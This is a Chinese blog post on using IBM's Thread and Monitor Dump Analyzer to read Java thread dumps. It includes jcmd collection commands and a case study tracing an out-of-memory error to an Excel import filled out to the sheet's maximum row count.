首页 > 其他分享 >IBM jca 工具的学习与整理

IBM jca 工具的学习与整理

时间:2024-01-23 10:25:25浏览次数:29  
标签:java HashMap dump excel jca 整理 now IBM

IBM jca 工具的学习与整理


背景

发现自己最早看到IBM这个工具的时间是 2022年9月份.
但是一直没有进行过仔细的学习与论证. 

本周出现了一个问题. 虽然通过gclog明显看出来是一个oom
然后内存对象里面排第一的是 hashnode 相关内容
猜测出可能是excel导入/导出相关的内容

但是自己并没有快速的从jstack 里面找出来具体的线程
还是通过 mat 分析dump文件才找到的具体功能的操作.

感觉自己对jstack的分析一直比较怵头
感觉他的文档结果不好看, 自己的确也有点密集恐惧症,
对这种文档的分析总是不得要领. 
所以想经过这次事件,还是多学习一下jstack的分析
寄希望于dump 文件太大了. 速度太慢. 
有时候黄花菜都凉了. 

工具下载

https://www.ibm.com/support/pages/ibm-thread-and-monitor-dump-analyzer-java-tmda
文件其实比较小. 
最新版本是 4.6.16.
文件名是:
jca4616.jar

快捷方式

可以将文件放到一个目录下面, 然后修改文件名
jca.jar
添加一个 bat 脚本

@echo off
java -jar jca.jar

双击就可以使用这个工具了. 

抓取信息

pid=`ps -ef |grep java |grep $mainclassname|grep -v grep |awk '{print $2}'`
now=`date +%Y%m%d%H%M`
jcmd $pid VM.uptime >>trace_$now.log \;
jcmd $pid VM.flags >>trace_$now.log \;
jcmd $pid Thread.print >>trace_$now.log \;
jcmd $pid GC.class_histogram -all >>trace_$now.log \;
jcmd $pid GC.heap_info >>trace_$now.log \;

分析与查看

IBM其实是J9 jvm的开发商
他的mat和jca工具都非常不错.
mat可以分析dump文件
jca可以快速的分析 jstack等信息. 也可以分析 dump 文件. 

jca最重要的几项工作主要如下

总要功能界面

image


thread status analysis

  • 能够对 thread的状态进行分组. 界面化比较好看.
    image

Methad analysis

  • 可以对主要的方法进行pie图的区分
    image

Thread Detail

  • 查看线程的具体信息, 可以排序. 比看txt优雅很多
  • 注意线程名前面有一个console标签的说明有等待
    image

Monitor Detail

  • 可以查看拥有锁以及被锁的线程明细信息

异常日志分析

其实 内存的histogram 信息能够看到一个很明显的增多的情况:
 num     #instances         #bytes  class name
----------------------------------------------
   1:     277303736     8873719552  java.util.HashMap$Node
   2:       2752253     1928937296  [Ljava.util.HashMap$Node;

发现极度怀疑是 hashmap 的一些处理导致问题. 
然后分析jstack的堆栈, 可以看到一个明显的进程信息:

"http-nio-5200-exec-134" #131057 daemon prio=5 os_prio=0 tid=0x00007f5a343e0000 nid=0x12fac7 runnable [0x00007f58257d2000]
   java.lang.Thread.State: RUNNABLE
	at java.util.HashMap.newNode(HashMap.java:1750)
	at java.util.HashMap.putVal(HashMap.java:631)
	at java.util.HashMap.put(HashMap.java:612)

所以极度怀疑是这个线程出现的问题 
然后可以通过堆栈的进一步分析, 去查看自己产品的堆栈信息来判断是哪个功能有问题. 

然后有条件的分析一下dump文件, 说补丁能够看到具体的功能. 有概率看到具体的文件. 

excel的处理

其实处理excel 跟处理证券类似, 都有"胖手指" 的现象. 
本次事故的核心原因就是 excel 有一个快速的复制功能. 

在复制某一个单元格之后, 单机任意一栏的标题栏. ctrl + v 就可以将整个excel的当前栏替换掉

因为 2007版本的excel 已经完善了 excel的最大列数和行数
2003版最大行数是65536行,最大列数是256列。 
Excel2007及以后的版本最大行数是1048576行,最大列数是16384列

如果1M行数全部有数据进入 内存里面就会消耗非常多的内存信息.
所以还是应该提前使用poi的方式来检查行数和列数.  避免出现此类问题. 

使用的内存量计算

通过mat 分析dump文件可以看到
空行excel 大概占用 13KB的内存. 
如果1M的excel 文件大概需要 13G的内存.
如果老年代大于20GB. 留下 7G左右给常规使用的环境
理论上可以支撑住这样的有异常的文件 只是大家都可能会卡一些. 

所以有时候 可以通过技术手段解决问题, 有时候也可以通过钱来解决问题. 

image

标签:java,HashMap,dump,excel,jca,整理,now,IBM
From: https://www.cnblogs.com/jinanxiaolaohu/p/17981743

相关文章

  • Linux开发相关命令整理
    1.反转shell2.ldd3.objdump4.ldconfig5.telnet6.nc7.netstat8.ss9.tcpdump1.反转shell攻击者主机执行:nc-nlvp<port>被攻击者执行:bash-i>&/dev/tcp/<ip>/<port>0>&1也可以用于把局域网下主机终端暴露给公网下,这在特定场景下比较方便2.ldd用于查......
  • Kubernetes 学习整理(一)
    RKEv2:rollingupgrades,zerodowntimeupgrade,andautomaticetcdbackups.Varietyofnetworkpluginsandhasbuilt-insupportfortheHelmpackagemanager.InRKEv2,CoreDNSisthedefaultDNS,isaflexible,extensibleDNSserver,canserveastheKu......
  • Kubernetes 学习整理
    MetalLB:routeTCPorUDPtraffic(layer4).Ingress:isbasedontheHTTPorHTTPS(layer7),usingNGINXorHAProxy.OnceMetalLBisinstalled,themetallb-operator-controller-managerdeploymentstartsapodnamedoperator.AssoonastheMetalLBoperat......
  • C++常见面试题整理
    1.CPP编译链接过程1.CPP编译链接过程预处理处理以#开头的命令,纯文本替换,类型不安全#pragmalib和#pragmalink除外,#pragmalib用于指定要链接的库,#pragmalink用于指定程序入口(默认入口是main函数,但可以通过该命令修改)都是在链接阶段进行处理编译词法分析,语法分析,......
  • Java基础知识整理,驼峰规则、流程控制、自增自减
    写在开头本文接着上一篇文章续写哈。[Java基础知识整理,注释、关键字、运算符](https://blog.csdn.net/qq_43506040/article/details/135633325)在这一篇文章中我们总结了包括注释、关键字、运算符的Java基础知识点,今天继续来聊一聊命名规则(驼峰)、流程控制、自增自减。一、命名......
  • 不可不看的Java基础知识整理,注释、关键字、运算符
    写在开头万丈高楼平地起,要想学好汉语首先学拼音,想学好英语首先学26个字母,对于编程语言来说,一样的道理,要想学好必须先掌握其基础语法和知识,今天我们就来唠一唠Java语言中那些出现频率极高,又很基础的知识点吧!Java中的注释注释的作用:拨云见日!在日常的工作中,总会遇到很多大段的代......
  • 完成端口API整理
    1.BOOLGetQueuedCompletionStatus(HANDLECompletionPort,LPDWORDlpNumberOfBytesTransferred,PULONG_PTRlpCompletionKey,LPOVERLAPPED*lpOverlapped,DWORDdwMilliseconds);CompletionPort:完成端口的句柄,用于与I/O操作相关联......
  • 深度学习基础知识整理
    自动编码器Auto-encoders是一种人工神经网络,用于学习未标记数据的有效编码。它由两个部分组成:编码器和解码器。编码器将输入数据转换为一种更紧凑的表示形式,而解码器则将该表示形式转换回原始数据。这种方法可以用于降维,去噪,特征提取和生成模型。自编码器的训练过程是无监督的,因......
  • modbus开源库 libmodbus
    近期用到了modbus,搜到了libmodbus开源库,记录一下。网上关于如何编译的文章很多,不再赘述。借鉴:https://blog.csdn.net/qq_38158479/article/details/120928043说明:本文代码改造为适于windows的qt。为了多线程业务处理,类继承QObject,这里作为服务器(子站)。代码和例子位于文末。例子......
  • 领域泛化+异常检测相关论文阅读整理
    AnomalyDetectionunderDistributionShiftICCV2023用于异常检测的无监督方法。训练集仅使用sourcedistribution的normal数据。测试集使用source和targetdistribution的数据,包含normal和anomaly。认为在ADtask中,训练数据通常只有一类。目前用于分类、检测和分割的OOD......